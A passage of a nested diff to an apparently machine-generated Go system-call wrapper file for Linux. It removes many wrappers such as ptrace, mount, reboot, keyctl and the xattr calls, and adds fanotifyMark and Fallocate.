-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_KEYCTL, uintptr(cmd), uintptr(unsafe.Pointer(arg2)), uintptr(_p0), uintptr(len(buf)), 0, 0)
-- ret = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ptrace(request int, pid int, addr uintptr, data uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PTRACE, uintptr(request), uintptr(pid), uintptr(addr), uintptr(data), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func reboot(magic1 uint, magic2 uint, cmd int, arg string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(arg)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_REBOOT, uintptr(magic1), uintptr(magic2), uintptr(cmd), uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func mount(source string, target string, fstype string, flags uintptr, data *byte) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(source)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(fstype)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(flags), uintptr(unsafe.Pointer(data)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Acct(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_ACCT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func AddKey(keyType string, description string, payload []byte, ringid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(payload) > 0 {
-- _p2 = unsafe.Pointer(&payload[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_ADD_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(payload)), uintptr(ringid), 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Adjtimex(buf *Timex) (state int, err error) {
-- r0, _, e1 := Syscall(SYS_ADJTIMEX, uintptr(unsafe.Pointer(buf)), 0, 0)
-- state = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chdir(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHDIR, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Chroot(path string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_CHROOT, uintptr(unsafe.Pointer(_p0)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func ClockGettime(clockid int32, time *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_CLOCK_GETTIME, uintptr(clockid), uintptr(unsafe.Pointer(time)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Close(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_CLOSE, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func CopyFileRange(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_COPY_FILE_RANGE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup(oldfd int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_DUP, uintptr(oldfd), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup3(oldfd int, newfd int, flags int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP3, uintptr(oldfd), uintptr(newfd), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate(size int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCreate1(flag int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE1, uintptr(flag), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func EpollCtl(epfd int, op int, fd int, event *EpollEvent) (err error) {
-- _, _, e1 := RawSyscall6(SYS_EPOLL_CTL, uintptr(epfd), uintptr(op), uintptr(fd), uintptr(unsafe.Pointer(event)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Eventfd(initval uint, flags int) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_EVENTFD2, uintptr(initval), uintptr(flags), 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Exit(code int) {
-- Syscall(SYS_EXIT_GROUP, uintptr(code), 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(len), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1244,8 +24,8 @@ func Syncfs(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
